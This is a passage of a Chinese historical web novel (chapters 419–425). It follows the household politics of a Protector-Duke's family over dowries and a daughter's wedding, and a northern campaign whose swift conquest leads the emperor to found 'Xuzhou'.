谢啸成看她一眼,知道夫人这是真急眼了。 以前也没觉得二儿媳这么蠢,眼下再有一个精明得不像真人的许昭昭做对比,这个儿媳妇简直就不能要了。 但是没法子,八抬大轿抬进门的,又给二郎生儿育女的,哪能说不要就不要? “你也别生气了,得空了就多带在身边教教吧。好在她只是蠢,不是坏。若是又蠢又坏,那才要麻烦。” 于氏一脸复杂地看向他:“你这是在宽慰我?我怎么听着更生气了!” 谢啸成没法子,只得敷衍一笑。 谢啸成知道这事了,自然就要跟刘家人唠一唠。 而刘家也没想到,竟然还会有人敢去算计护国公府,这是嫌命长了吗? 谢啸林是什么人? 谢铮又是什么人? 这一个个的,真以为自己就是第一大聪明,把别人都当傻子吗? 刘家因为这次的事情,上上下下都没少挨训,最终还处置了几个老仆,理由就是怂恿主子犯错。 刘玉霜原本还想着回娘家一趟呢,结果被告知国公府女眷现在不得随意进出,她这才意识到可能出大事了。 王玉禾的事情得亏了是送回去的及时呀,而且这卖身契也弄回去了,再加上于氏将一个老仆推出去受刑认错,所以无论是谁来,都不可能再把这个罪名扣到护国公府头上去。 更何况,此事原本赵长清也没打算上报。 因为他也是才知道这件事,紧接着人就被送回来了。 许昭昭对于王玉禾的处置,让海棠有几分害怕。 “主子,那个小姑娘还不到十岁呢,如果进了教坊司,这以后只怕是很难保住清白之身的。” 许昭昭淡淡瞥她一眼:“所以你觉得我应该帮着刘玉霜将此事压下来?” 海棠连忙摇头:“不是不是,奴婢没有这个意思。奴婢只是觉得难受,小姑娘毕竟还小。” “王玉禾的确还小,但问题是,当初她的父亲选择了背主那一刻,就该为他的家眷想好未来。路是他们自己选的,我们又能怎么办呢?” 海棠觉得不对:“可是真正犯错的只有她父亲一人呀!而且背主之事,也不是那些女眷们能决定的。” “此言有理,的确不是她们能左右的,但谁让她们享了王家的福,就得担王家的难呢!” 海棠一时语塞,不知道应该怎么说了。 许昭昭见她又急又难过的样子,到底还是没有再继续逗弄她。 “行了,看把你给吓的。此事柱子早已去安排了。王氏女进到教坊司,只要她聪明,而且愿意配合,那么她就只会做一名普通的杂役。可若是她自己不甘心吃苦,那我就无能为力了。” 第420章 又一个蠢的 许昭昭说得隐晦,其它人一点就透,只有海棠呆呆地在那里眨巴了几下眼睛后才明白:“主子早就做了安排?您是说,那个王氏女吃不了苦?” “我什么也没说,能不能吃苦,也不取决于我呀。而且,吃苦这种事,本来就因人而异,你说对吗?” 海棠年纪小,而且跟在许昭昭身边的时间短,所以并不是很能理解到主子的意向。 许昭昭今天心情好,笑眯眯道:“比如说你吧,来,说说看,你觉得怎样才能算是吃苦?” 海棠眨眨眼:“呃,反正只要能吃饱肚子就行吧。” “这样吧,我换个问法,你觉得让你去当杂役,天天洗衣劈柴,这算是吃苦吗?” 海棠摇头:“当然不算。不干活,就没饭吃。” 身为奴婢,这点自觉性还是有的。 许昭昭觉得跟她聊天还挺有意思的,又问:“那若是让你去伺候一个四五十岁的老爷,但是可以让你天天锦衣玉食,你觉得是吃苦吗?” 海棠表情迷惑,好一会儿才道:“主子,您说的是伺候一位老爷饮食起居?这也不算是吃苦呀!” 扑哧! 一旁的紫苏没忍住,笑出声来了。 许昭昭也乐了。 算了,放弃吧。 这孩子太小了,很多话听不懂,她也不乐意说得太直白了,免得再污了小姑娘的耳朵。 “罢了,你先下去吧。” “是,主子。” 芍药在一旁忍得辛苦,她觉得自己像海棠这么大的时候,也没这么呆呀! “主子,您是觉得那个王氏女有问题吗?” 不愧是跟在许昭昭身边多年的人,以前有丁香在前面挡着,所以显不着她,现在芍药这反应,足见不比丁香差。 “有没有问题,得看看才知道呀。能让一位官眷想法子捞人,我可不信对方就只是善心大发了。” 许昭昭说的没毛病。 这满京城可怜委屈的人多了,怎么不见她们去同情别人? 所以,许昭昭对王玉禾有疑心是正常的,但到底究竟有没有问题,还是得看看才知道。 这话,许昭昭可没跟于氏说。 有些事,没必要太声张。 “主子,六姑娘来给您请安了,还带了两身小衣裳,奴婢瞧着挺好看的。” 许昭昭立马让人请她进来,这个谢婵是真地越来越合她心意了。 姑嫂二人看着小衣裳说了好一会儿话,谢娟也过来了。 谢娟这次是带了一双小鞋子,一看就是那种穿着小娃娃的,而且瞧着是特意做得虎头鞋。 许昭昭让人拿近些看了,笑着夸了几句,谢娟脸上的笑才更灿烂了。 送走这二位姑娘,海棠还在盯着那双虎头鞋看。 “主子,这位七姑娘的女红是真不错呀,这虎头鞋真漂亮,栩栩如生的。” 许昭昭笑了笑,没说话。 待芍药扶着她进了里间儿,然后服侍她躺在榻上,才轻声道:“主子,这七姑娘分明就是没上心。如今府中上下谁不知道您怀的是双胎,连六姑娘几次送来的东西都是双份儿的,偏这位七姑娘只送了一双鞋子过来,若是换了咱们许家夫人,定然是要发火的。” 能不发火嘛! 你明知道是双胞胎,你还只送一双鞋子过来,你这是在诅咒许昭昭腹中的胎儿吗? 许昭昭不在意,但是活在这个时代的人,大部分都是很信这种说法的。 所谓吉凶之兆,是真能害人也能捧人的。 许昭昭叹口气:“七姑娘也是个没人教的,等她成亲的时候,身边安排几个懂事的嬷嬷和大丫环,省得日后再去李府得罪长辈。” 芍药撇嘴,一脸不服:“她这般不懂事,您还要为她考虑,哼,奴婢真替您不值。” “行了,我也不是为了她。” 许昭昭照顾这两位庶妹,刚开始的出发点原本就不单纯,只是到了现在,她是发自内心地更喜欢谢婵而已。 但是谢娟也是国公府的小姐,不能真地对她不闻不问,该教的事,还是要教的。 此事都不需要许昭昭特意安排,先前在屋里伺候的林嬷嬷将一切都看在眼里,当天晚上就去七小姐院子里了。 “是我没考虑周到,多亏嬷嬷提醒,不然,当真是让嫂嫂厌了我。” 谢娟此时才回过神来,她是真地忘记这回事了,此时不由得也对身边的人有几分不满,她没想到,这些下人也不知道提醒两句,真是没用! 林嬷嬷不动声色道:“七姑娘,希望您能明白,日后您嫁去李府,还得靠着咱们世子夫人为您撑腰才是,您瞧瞧六姑娘,别的不说,单是自打世子夫人进府后,她请安的次数,送的各类女红等等,哪样不比您勤快?” 谢娟脸色难看,她知道林嬷嬷说的是事实,但被人这么当面儿戳穿,心里自然是不舒服。 “奴婢也只是过来劝您一句,您和六姑娘都是庶出的姑娘,谁也不比谁高贵。只看世子夫人为您二位准备的嫁妆便能看出来。您就快要成亲了,还是好好琢磨琢磨,日后您能指着宋姨娘为您出头?奴婢说句不好听的,只怕宋姨娘出府门一步都难吧?” 谢娟脸色更难看了。 因为林嬷嬷说的都是事实。 宋姨娘只是府中小妾,哪里有资格天天外出? 林嬷嬷没再多说,有些话说得再多了,就显得她是故意来给七姑娘难堪了。 事实上,谢娟已经觉得很难堪了。 不是因为林嬷嬷的态度,而是因为她说的那些话,都是事实呀! 这一晚,谢娟翻来覆去睡不着,日后嫁了人,她能在李府当家做主,但是真地就能撑起一府内宅吗? 想到先前有几个月她都因为刘勃一事而难过自伤,却未好好学规矩学着管家,如今才发现,原来不知不觉间,谢婵已经比自己走得远,也站得高了。 两日后,谢娟又亲自带着两个肚兜来了,这一次,两个肚兜上绣的东西都一样,皆是辟邪驱毒之物,挑不出毛病来。 “你有心了,这蝙蝠绣得真好,活灵活现的。这是新绣的?我瞧着你这眼睛可有些肿了,你的婚期将至,切不可再熬夜了,要好好养着,做个貌美的新嫁娘!” 第421章 小林氏酸了 许昭昭让人盯着王心禾,但也没指望立马就能钓上什么大鱼来。 如今京城刚刚恢复太平,对于那些反贼而言,等于是他们的计划刚刚落空,而且李烨又狼狈北逃,无论如何,这都是他们败了。 所以,此时的那些人,应该会选择低调起来。 此次抓得最多的,其实还是胡商,或者是胡商的奴仆家眷。 异族人,到底是不会和汉人的力气往一处使的。 许昭昭只希望这次的事情,能让永安帝真正地意识到异族这样的一个危机。 不是说异族人多可怕,只是希望能加强对异族人的管束,尤其是那些从突厥来的,这些野蛮人天生慕强,一旦哪一天发现大兴没有他们想像中的强大了,一定会亮出他们狠厉的爪子。 李顺和谢娟成亲前夕,两家各派出了族中的长辈接洽,一些婚礼细节,都是要商定的。 谢娟这边,许昭昭为她重新挑选了两位管事嬷嬷,四名大丫环,至于她先前用的那几个下人,有的不能带走,有的则是因为犯错被罚,总之,谢娟对于陪嫁一事,没有任何异议。 许昭昭和谢啸林商议过后,又给谢娟单独备了两家陪房,都是以前谢啸林手底下听差的。 这种人,用着比较放心。 除此之外,谢娟的一箱箱嫁妆抬出去,那也是相当体面。 大兴朝的嫡庶之别犹为严重。 很多富贵人家的庶子女,还不如普通人家的孩子过得顺遂。 李顺的母亲也置办了新衣,同时,又特意邀请了李将军夫妇二人过来证婚。 这二人的身份上,也算是给护国公府体面了,毕竟谢娟只是一介庶女。 小周氏,也就是被撵回了蓝田县的钱夫人连送了两封书信过来,但都被李顺的人给拦截了,没往母亲那里送。 李顺得知她们母女竟然还想着来参加他的婚礼,越发觉得这个姨母是疯了。 身有重孝,却来要参加他的喜宴,这不是故意来诅咒他呢? 因为李顺拦了书信,所以李母并不知晓此事,但是李顺的弟弟知道了。 “兄长,我不放心姨母,要不,咱们还是派人到蓝田县盯着些吧。就姨母那要强的性子,指不定会使出什么昏招来。” “嗯,人要派,但是也不能太盲目了。这样,我给钱耀祖写封信,按规矩,他也当称呼我一声表兄的,只要他愿意把这母女二人看严了,那咱们就能省心些。” 李二郎一想也是,总不能一直盯着这对母女。 “兄长,等年后,我就不打算再去读书了。我资质平平,想来若是坚持走科举,也是前途渺茫,既然不是这块料子,干脆就别再花冤枉钱了。” 李顺之前是认真考虑过弟弟的前程问题的。 “你也别想太多。这件事母亲也同我说过了。你先安心读书,若是有机会能得个出身,那于你日后也有益处。” “兄长是想让我参加明年的院试?” “若能参加,哪怕最后无望,咱们也只当是试这最后一次了。你以为如何?” 李二郎年纪小一些,而且自打父亲过世之后,他也一直很敬重兄长,事事都听他的,现在也说不出拒绝的话。 “好,我听兄长的。” 李顺点点头,人若是想要出头,还得靠自己。 他明白那日县主所言,但问题是,县主能帮一次两次,总不能次次都帮。 而且,在那些权利者眼中,若是自己和弟弟一无是处,或者说是没有任何价值,那么他们还会愿意再帮吗? 所以,李顺才想着若是弟弟能挣个秀才出身,也比白身要好。 婚事如期举行,一切顺利。 谢娟的花轿从护国公府离开之后,许昭昭才算是松一口气。 按规矩,只要这人出了门子,后面的事,就都该李家操心了。 嫁女这日是不备喜宴的,但是会有亲朋过来送嫁,一部分人会护着新娘子去男方家,然后在新郎官家吃酒宴。 还余下一部分人,则是要由女方家招待,但一般不会设酒席,就是简单地吃个饭便是。 况且,大兴成婚是选在了黄昏之时,很多离得近的一些亲眷们,便会在新娘子出门后,各归各家,所以,真正留在护国公府这里用饭的人,实在不多。 但是无论多少,都得招待。 许昭昭因为如今是双身子,所以她只是露个脸便回去了,没有人敢有意见。 于氏和小林氏穿梭于人群之中,自然是少不得被人们吹捧一番。 小林氏今日也算是看到了谢娟的嫁妆,真是不老少了。 而且她眼睛尖,再想着之前公中出的那一份子之后,老夫人额外补帖的其实并没有很多。 所以,那些显眼的田产、珠宝等等,应该都是国公爷给补上的。 谢乔和几位表姐妹们坐到一处,都在说着今日新娘子的嫁衣、嫁妆等等,可见小姑娘们也都是十分羡慕。 谢乔是四房嫡女,按齿序排,她是五小姐,但是她的婚事还要再往后等。 主要是因为她的未婚夫那边有新丧,所以最快也要明年才能成婚。 好在去世的不是谢乔未来的公婆之一,否则,怕是要等三年才能成婚。 谢乔倒是没有恨嫁,她因为自小被娇宠着,所以总有几分孩子心性,压根儿就不愿意出嫁,总觉得女子出嫁后就是大人了,而大人多麻烦呀,要操心的事情多,要做的事情也多。 晚上,小林氏便好生服侍着谢啸威洗了脚,然后巴巴地凑上去。 “夫君,今日谢娟的嫁妆我可是瞧得真真儿的,好东西是真不少。你说她一个庶女,还能有这么多的嫁妆,等咱们家乔儿出嫁时,这嫁妆是不是得再高她一头?” 谢啸威并没有放在心上,女子出嫁这种事,一般都是女眷来帮着料理,有他们男人什么事? “这些你看着办就行,你要是愿意把你的嫁妆都给她,我也没意见。” 小林氏瞪眼:“我是那个意思吗?” 谢啸威一脸不解:“不然呢?” 小林氏被他这个态度给气个倒仰:“你就不知道去老夫人那里哭哭穷?” 第422章 你是不是脑子坏掉了 谢啸威听明白了,这是想着扒拉母亲的小私库呢。 “行了吧!咱们家已经很占便宜了。再说了,谢娟那怎么样那也是我大哥的女儿,是正经的国公爷的千金,庶女怎么了?只要能入得了我大哥和侄媳妇的眼,他们就乐意当嫡女宠着,你能怎么办?” 小林氏一噎,好像还挺有道理的。 “咱们女儿最快也得明年才能成婚呢,我不管,总之你现在就得想法子给闺女攒嫁妆,无论如何,都不能比谢娟差了。” 谢啸威都不理她了,身子一歪,直接就躺床上了。 谢乔的嫁妆,都攒多少年了,还能差多少? 成婚多年,谢啸威对妻子可太了解了。 说到底,就是想着在谢乔的嫁妆上压过谢婵和谢娟一头。 可问题是,他们怎么压? 谢啸威自己手里头的东西就不说了,以后大部分都是要留给儿子的。 而小林氏自己当年的陪嫁也就一般,不算是多显眼,但也不跌面儿。 现在想要压谢娟一头,小林氏肯定不愿意动自己的私库,所以就把主意打到老太太头上去。 谢啸威都想笑她眼皮子浅了。 就算是动老夫人的东西,又能给多少? 要说这满京城的贵妇,谁敢跟许昭昭比钱多? 虽然许昭昭不是商户,但她手底下的能人多呀! 谁不知道她手底下的几大管事? 光是一个高大魁,就能震慑多少乡绅地主了。 再有一个许柱子,那可是出了名的八面玲珑的人物。 就一介奴仆,但人家竟然还能在御前露了回脸儿,还得了赏钱回去。 那是赏钱吗? 那是能传家的宝贝呀! 那是多少人一辈子都挣不来的体面。 关键是,许昭昭身为主子,人家就乐意给手底下的人这种机会和体面,你能怎么办? 还有如今管着百果园的徐得贵,早几年的时候可不行,话都说不利索,可是瞧瞧现在,那离圆滑二字也不远了。 谢啸威也纳闷儿了,不知道这个侄媳妇到底是怎么调.教人的,怎么个个都这么厉害! 听说现在宋青也被提到许昭昭跟前伺候了,以前外头的账目好多都是报到丁香那里,如今一部分报到宋青手里,一部分报给芍药。 这许昭昭也是心大,真不怕这些人诓骗她吗? 但是谢啸威反复琢磨,又觉得这些人好像真地不曾诓骗她。 要不然,许昭昭的产业能这么大? 谢啸威想不明白,干脆就不想了,睡觉! 小林氏被气得不轻,可是又实在是不想被压下去,自打她嫁进这国公府,可是从来不曾吃过亏的。 就算是在管家一事上,她争不过于氏,但那是因为于氏比她年长,比她进门早,而不是她没能力。 所以,她得想个法子,让老夫人多贴补一些出来。 小林氏好歹也是官家女出身,自然是做不出来让于氏和许昭昭等人来多添妆的事,那就太不体面了。 但是去扒拉老夫人,小林氏是一点儿负罪感都没有。 长辈嘛,应该的。 小林氏连着去了老夫人那里两次后,总算是寻个机会开口试探了。 “母亲,儿媳看着七姑娘的嫁妆可不少,按侄媳妇行事的规矩,这六姑娘的嫁妆,应该也是差不多吧?” 老夫人点头:“昭昭向来公平,应该是相差无几的。” “母亲,您看原本今年也应该是乔儿出嫁的,可惜亲家出了事,所以只能等到来年了。” 老夫人瞪她一眼:“别乱说话!来年能不能成亲还不一定呢。” 长辈过世,小辈们守孝这是应该的,所以明年就算是出孝了,这婚事难道不需要准备吗? 明年真不一定。 “是,儿媳说错话了,您别恼。” 老夫人没好气地哼一声:“你呀,有什么话就直说,别绕圈子了!” 小林氏嘿嘿一笑,往老夫人的方向挪两下:“母亲,我看七姑娘的嫁妆是真不少。而且全都是好东西,您看乔儿可是四房唯一的嫡女,总不能被一个庶女给压下去吧?” 又提这茬! 老夫人觉得这个侄女脑子就是不开窍! 上回因为嫡庶之事,她都特意发了话,现在还敢来她跟前说。 “你是不是脑子坏掉了!谢娟是老大的亲生女儿,身份在这里摆着,能一样吗?她的嫁妆若是少了,才会被人议论我国公府苛待长房呢。” 小林氏尴尬地笑笑:“母亲,儿媳不是这个意思!” “你是什么意思,我能不知道?你不就是想着让乔儿的嫁妆压谢娟一头?你个蠢物!让两人的嫁妆相差无几,这有什么不好的?” 小林氏一噎,瞪大眼睛:“母亲,乔儿可是嫡女!” “可她不是护国公的嫡女!” 一句话,就把小林氏给噎回去了。 “你呀,让我说你什么好!乔儿性子简单,而且被你宠得过于天真。你还是想着找几个嬷嬷好好教教她。你总说自己爱女,我瞧着,在这方面,你可没有于氏做得好。就连新进门的昭昭都比你强!” 小林氏不服气:“母亲,您怎么能这么说呢,儿媳哪里比不上许昭昭了?” 老夫人都没眼看了。 这个侄女,到现在还自以为是呢! “你是真蠢哪!你看看许昭昭为谢娟置办的那些嫁妆,你还不明白吗?若是许昭昭不乐意贴补,你以为谢铮会想到这一层去?而且许昭昭做这些是给全京城的勋贵们看的,也是给李家看的,这是让所有人都知道,谢娟是国公爷的女儿,身份尊贵,谁也不能欺负她!” 小林氏一撇嘴:“母亲,您说的这些儿媳都懂,只是李家势微,虽说有一位李将军撑门面,但李顺毕竟丧父,而且他是从文的,日后很难再进一步。再说了,这个李将军如今在御前也算不得多有脸面,如何能比得咱们国公爷!” 最后一句话,倒是让老夫人心里头挺舒坦。 “母亲,李顺的前程,一眼就能看到头,说句不中听的话,其实我到现在也没想明白,大哥怎么会愿意把女儿嫁给他?这满京城的权贵,哪家还没几个庶出的公子哥儿了?怎么非得嫁一个不入流的李顺?” 第423章 灭国了? 小林氏这话可是有些太过刻薄了。 也幸亏这里只有她们婆媳二人。 老夫人眉眼一沉,低斥道:“你懂什么?我们谢家已经是足够富贵,而且谢家的儿孙们也可以靠自己在朝堂上站稳脚跟,何需靠着联姻来稳固我们的地位?” 老夫人没说的是,谢铮娶一位侯府千金,这就已经很显眼了,抵得上其它三四个小辈们的联姻。 再说了,以谢家今时今日的地位,真要是与皇室勋贵攀上亲了,也未必是好事。 “母亲,当初若是依我,就该应了谢云和安王的婚事,你看如今安王独得圣宠,现在那安王妃可是得意得很。” 老夫人最不耐烦听的就是这些。 满眼都是荣华富贵,丝毫不知何为烈火烹油,更不知道繁华锦绣之下,到底是什么。 “闭嘴!” 小林氏意识到自己说错话,连忙噤声,随后又小心翼翼地认错。 “母亲,儿媳也没有别的意思,就是想着咱们谢家能多一份助力而已。您瞧瞧许昭昭给两位姑娘选的,没一个是真正的贵族子弟。” “那又如何?” 大兴朝的勋贵世家,可比前朝少多了。 而且老夫人也是学识渊博之人,自然知道前朝时,多少勋贵世家遭了殃,灭族的灭族,抄家的抄家,如今的朝堂上已然大不相同。 现在的科举制度已经完全推行,而且朝廷也尽力在所有的地方都设下官学。 仅此一项,便能看出上位者对于世家的排斥和厌恶。 这个时候,谁还总是以世家自居,那就是纯纯地找死! 现在的世家,大多数都只是做个吉祥物,真正有权有势的,没有一个是真正出身于世家的。 比如说许家、谢家、李家等等,严格算一算,这几家人的富贵,没有一家超过一百年。 或许正是这个原因,所以,这些人才能得到陛下的信重。 尤其是近十年来,陛下在选择武将时,更为偏爱直接靠战功升上来的将军,比如说谢铮、许君锋、方亮等人。 而方亮的父亲方大壮,更是出身卑微,听闻幼时连饭都吃不饱,如果不是因为许翰赏识他,后来还愿意手把手的教他,方大壮现在也不过就是一个普通的大头兵。 老夫人看得长远,许昭昭和谢铮都属意郑拓,那就只能说明,郑拓此人在武将一道上,必有前途。 上一次北征能立功,这一次,也一定会再升职。 “母亲,您真觉得李顺和郑拓都是如意郎君?” “是与不是,都与你无关。待我百年之后,这个家就是要分的。届时你们搬出护国公府,长房一脉究竟如何,也与你们没有任何关系了。所以,你为何总是看不清呢?” 这话算是戳到小林氏的心窝子上了。 这么多年,她一直都把自己当成了护国公府的女主人,可是实际上,她的夫君品级甚至都不及谢铮高。 而且严格算起来,她还应该要向许昭昭这个县主行礼问安才对。 如今老夫人健在,所以他们兄弟三个都住在一起,还能有几分骨肉亲情。 若是老夫人没了,这个家也就等于散了。 日后的护国公府,便只余长房一脉,与二房四房,自然是毫无关系。 老夫人看她这表情,就知道她还是不甘心。 “分家是正道。当初三房和五房,更是一成亲便直接被老太爷给分出去了。不都是一样?” 庶子被分出去,这在很多大家族中都很正常。 毕竟庶子能分到的家产本就不多,主要还是因为他们出身低微。 而谢家的三房和五房当初被分出去,也都各自有宅院、田地以及一些固定的产业。 说白了,就是早一步将他们分出去,省得再养大了他们的胃口,同时,不在跟前碍眼了,一年只有年节时过来请安问好的,反倒是能像正常的亲戚处着。 小林氏咬咬嘴唇,知道老夫人这里是说不通了,最后只得无功而返。 老夫人看她这样子,就知道她还是没死心。 谢乔的确是四房嫡女,但她只是护国公的侄女呀,谢娟再怎么是庶出,那也是老大的亲闺女,小林氏怎么就看不懂这一点呢! 谢啸林因为要看守宫门,之前又出了胡人作乱的事,所以他干脆就把自己的行李收拾收拾直接都带过去了,一日三餐,都有护国公府的下人给送去。 其实谢啸林也不挑,有什么吃什么。 但是许昭昭不能真地对这位公爹不闻不问,而且还要三天两头的让人去送换洗衣物。 永安帝得知谢啸林竟然直接住在宫门口那里的值房了,心有欣慰之余,又有几分愧疚。 算了,谢啸林懂事,他自然也会厚待谢家人。 时间走的飞快,边关的捷报是一封接着一封。 直到腊月初,又有一封战报送入京中。 室韦被灭了! 永安帝一时间都懵圈了。 这叫什么事儿? 陆晋也没想到,许翰打起仗来这么猛,这么不留余地。 这个谢铮也是的,你就不知道劝着点儿? 知道你们能打,但是能不能考虑一下咱们大兴还是要与周围的小国们保持良好的邻里关系的? 上来就把室韦给灭了,据说靺鞨现在整个国被打得就剩一个镇子那么大点儿地方了,这还让人怎么活? 曲世绩看完战报之后,也觉得许翰打仗太猛了。 “陛下,按这上面所说,估计等到年后,那些俘虏就会被押至京城,这,这也太多了吧?” 永安帝也头疼。 的确是太多了。 许翰这个木头,战利品是金银珠宝也就算了,怎么还弄回来这么多的奴隶? 这些人要怎么安置? “陛下,以微臣之见,这些人还是要打散,不能让他们群居,另外,咱们可以将里面的青壮挑出来直接送到东边去修筑工事。” 顾东阳不愧是户部尚书,这账目算得太清楚了。 用这些俘虏修工事,只需要管饭就行,一个大字儿都不花,多好! 省钱,还好用! 崔玄明也跟着点头:“顾尚书言之有理,至于这些女人也好办,将女人直接婚配给一些穷苦百姓,让他们多生孩子,也算是为我大兴做贡献了!” 第424章 许州 曲世绩见大家的意见明显歪楼了,连忙请示道:“陛下,靺鞨已经这样了,还打吗?” 对哦! 这才是最急迫的一个问题。 没等永安帝做决定呢,外面又是一阵急报声。 这次是靺鞨王命人八百里送来的降书,再不投降,他的脑袋就要搬家了。 等到曲世绩念完降书,所有人都跟着轻松起来,更有甚者直接大笑。 “我大兴军威武!” “威武!” 不管是不是武将,此刻都是觉得提气的,大兴的军队,永远都是最强大,战无不胜的! “陛下,还得降一道旨意到许大总管那里,要不然,他真能把靺鞨给彻底灭了。” 这话提醒永安帝了。 许翰是什么性子,他清楚,他只说让狠狠地打,一直没说叫过停,所以许翰就只知道往前冲。 要是再不结束这场战争,只怕更外围的一些小国都要派使臣来了。 永安帝的担忧其实已经成真了。 因为已经有数位小国的使臣代表团,都在路上了,只是他们还不知道罢了。 “即刻给许翰下旨,命他原地休整,至于室韦和靺鞨两地,呃,成立都护府,原住民只要放下兵器,都可以安居乐业。” “陛下圣明!” 至于后续的诸多问题,比如叫什么都护府,再比如派哪位大人前往镇守,或者是对于室韦和靺鞨仅存的王室如何处置等等,这些都会由陛下以及他的智囊团来商议决定。 不急。 许翰现在原地休整待命,其实就是一种威摄。 如果没有接到这份旨意,许翰的意思是直接把靺鞨灭了,然后一路向北或者是向东,不过东边儿能让陆军作战的地方不多了,因为快到海边了。 许翰打下来的地方可不小。 一个室韦和一个靺鞨加起来,抵得上大兴的一个大的州府了。 所以,这里要设立都护府是必然。 至于室韦和靺鞨两国仅存的王室,许翰也并没有让人苛待他们,至少都好吃好喝地供着,死不了。 谢铮倒是急于回家,他得知妻子怀了双胎之后,就一直惦记着媳妇。 而许君锋则是觉得打的不过瘾,嘴里头嘟嘟囊囊地,无非就是报怨这些人不禁打。 “这才多长时间呀,我以为怎么也得打个一年半载的,没想到这两个小国也太弱了些。三郎,咱们要是就这么回去,总觉得对不起当初送咱们开拔的那盛大场面呀。” 许君锋的脑回路跟普通人就不一样。 一旁跟着他的方亮也觉得有道理:“还真是这样,好像是打得太简单了。我怎么感觉还没立几个战功呢,这事儿就要结了。” 郑拓也是有些无奈,双手环胸,无语望天。 跟着一起来混军功的小侯爷也是一脸无助:“我就觉得这打架的劲儿刚上来,突然就被告知得歇歇,啧,这打得不过瘾呀。我算是知道为什么你们都乐意打仗了。我好不容易才捞着这么一个机会,心说怎么着也得立个大功,好跟三郎争一争的。现在好了,还打个屁呀!” 方亮的脾气要更爆一些,愤怒地一脚踢飞一件陈旧的架子:“都怪靺鞨,没事儿你递什么降书呀!你就不能硬气一点?你看看人家室韦王,多有骨气!被咱们杀了都不带投降的!” 室韦的一位王子泪目:我们那是不想投降吗?我们那是没机会投降好吗?有你们这样打仗的吗?追着我们跑,你倒是给我们个说话的机会呀! 靺鞨被俘的一名贵族也跟着一脸绝望:“都打成这样了,才让我们王找到了递降书的机会,这大兴军也特么地不是东西了!” 一旁的人连忙上前捂嘴:“小点声,被听到咱们就没命了!” 都成阶下囚了,还敢骂他们? 这不是找死嘛! 不管怎么说,战争要结束了,这是好事。 而且现在这边的天气实在是太冷了,人人都裹着一身动物皮子,不然不抗冻呀。 年关将至,陛下的旨意也终于到了。 传旨官是京中的驸马崔冲,陛下特意派他来传旨,足见对此战的看重。 许翰听完旨意后,人都是麻的。 待许君锋将人扶起来了,他还是一脸呆呆地问:“崔驸马,你刚刚说陛下赐名为何?” “陛下将此处赐名为许州,室韦和靺鞨人共同生活,但是要将人打散,不能挤在同一处。另外,朝廷已经押送一批犯人过来,估计等正月底就能到了。” “多少犯人?” “连男带女,大概总共在四千人左右。另外,陛下还下令从安北都护府那边迁移了两千户过来。如此一来,这许州便能像模像样的生活了。” 陛下安排的的确不错,但问题是,许州这里并不适合农耕,也不对,应该是一年只能种一季。不像是京城那边,一年还能种两季呢。 这边若是种一季的小麦,收获之后就啥也种不了。 “你担心的问题,陛下也都想到了。朝中有人建议,可以耕种和游牧同时进行。只要他们有吃有喝,就不会再犯我中原。” 这话也有一定道理。 但是室韦和靺鞨人都不太会耕种,所以,陛下才会安排了两批的犯人和百姓过来。 “陛下圣明!” 八月,许翰才带大军开拔的,到这里的时候,都要九月了。 谢铮带的先锋军倒是日夜奔袭,所以抵达得更早一些。 但是现在还没过年呢,这满打满算的,就打了这么几天仗,一些个兵痞子还真是没打过瘾。 方大壮还在那里嘟囔呢:“都怪大将军,要是他当初打慢一点,咱们兴许还能再多打两个月。” 方亮拆台道:“爹,你疯了?真要是打慢了,估计咱们都不用打靺鞨,室韦就先递降书了,到时候咱们只会更没仗打。” 方大壮一噎,好像还挺有道理的。 谢铮扫一眼拌嘴的父子二人,转身去找许翰了。 这里基本上没事了,他想早点回京。 但是陛下并未曾降下明旨,所以他得问问,自己到底能不能回京。 “你急什么?昭昭有了身孕是喜事,府里头那么多人照顾着呢,还缺你一个?再说了,你一个大男人,你能干啥?回去了反倒是让昭昭嫌弃你。听我的,你就安心在这里休整大军。看看后续,陛下是让咱们继续北上,还是原地待命。” 第425章 打的太快了 其实许翰的心情也是激动得无以复加。 他没想到,陛下会将这片土地赐名为许州。 是许翰的许吧? 许翰越想,这心里头越得意,忍不住就笑出声来。 虽然陛下没有明说,但是他明白,陛下这是在嘉奖他,一个许州,足以让他的名字载入史册。 日后他许家,也是有名垂千古之人了! 许翰怎么也压不下去的嘴角,让一旁的许君锋看了都有些嫌弃。 “爹,收收吧!崔驸马可还没走呢,小心他回去后告你一状。” 许翰脸色立马一凛,但是刚刚压下去的嘴角,下一秒就又翘上来了。 没办法,太高兴了。 “行了,你和三郎带人去边境看看,我说的是新边境,看看那边的地形以及如果布防要多少人合适,记得,一路上走慢一些,还要多带几个靺鞨人带路。” “是,父亲。” 许君锋知道父亲的意思,这里都是许州了,那么自然而然地,他们大兴的边境线就挪到室韦和靺鞨的边界上。 这里有大山,也有河流,但还是需要小心布防,毕竟,隔了大山的那一边,也有人呢。 崔冲在这里停留了两天,之后回京复命。 崔冲这次没能跟着一起来捞军功,而京城的动乱里,他也没能立下首功,但总归还是剿匪有功,虽然没有许君安的大,但是有个小功劳他也已经很知足了。 就许家这爷儿几个,没一个是好性子的。 打仗要都是这个打法,估计朝中大半的武将要弹劾许翰了。 崔冲走之前,单独见了许翰。 “大总管,我这来传旨的路上,可是看见好几波的小国使臣团了。您可是悠着点吧。我要是早知道您打仗这么厉害,说什么也得跟着您一起来。 但是话说回来,您这仗打的太快了,都没给人反应的时间,现在那些小国都被吓得不轻,我瞧着个个使臣团都带了不少好东西去京城孝敬。这回朝堂上就有人说您下手太狠了,以后可别这么打了。” 崔冲说的是实话,朝堂上总会有几道不一样的声音。 比如说有人就觉得许翰这么个打法,多少有点儿不顾别人死活了。 就比如说室韦。 连大兴朝廷也是如此。 他们刚收到战报,说是俘虏了几位王室子弟,隔天就又收到战报,说是室韦没了,他们一路已经打进靺鞨了。 就这个速度,陛下能怎么办? 国都给人灭了,总不能陛下说不让打了,回来吧。 这不行呀! 其实,所有人都知道,许翰这一仗打的,那是扬我大兴国威了。 可问题就是打得太快了。 快得有些让人反应不过来。 而且有些怀有私心的武将少不得要嘟囔几句。 以后他们在外打仗怎么办? 到时候打个一年半载的,让陛下怎么看他们? 一张嘴就是:瞧瞧人家许大将军,从大军开拔到最后止战,总共才四个月,两个国家都被灭了,而且我军战损少得可怜! 这还让其它武将怎么活? 以后怎么混军功?怎么混油水? 但是这些话不能说。 无论怎么样,许翰的功劳都是切切实实摆在这里的。 而陆晋也是被吓一跳。 其实他们原本预计的是,大军要等到来年入夏时,才能真正地结束战斗,主要就是因为那边冷,担心我们大兴的兵过去后不适应。 可谁能想到,许翰的进军速度这么快呢! 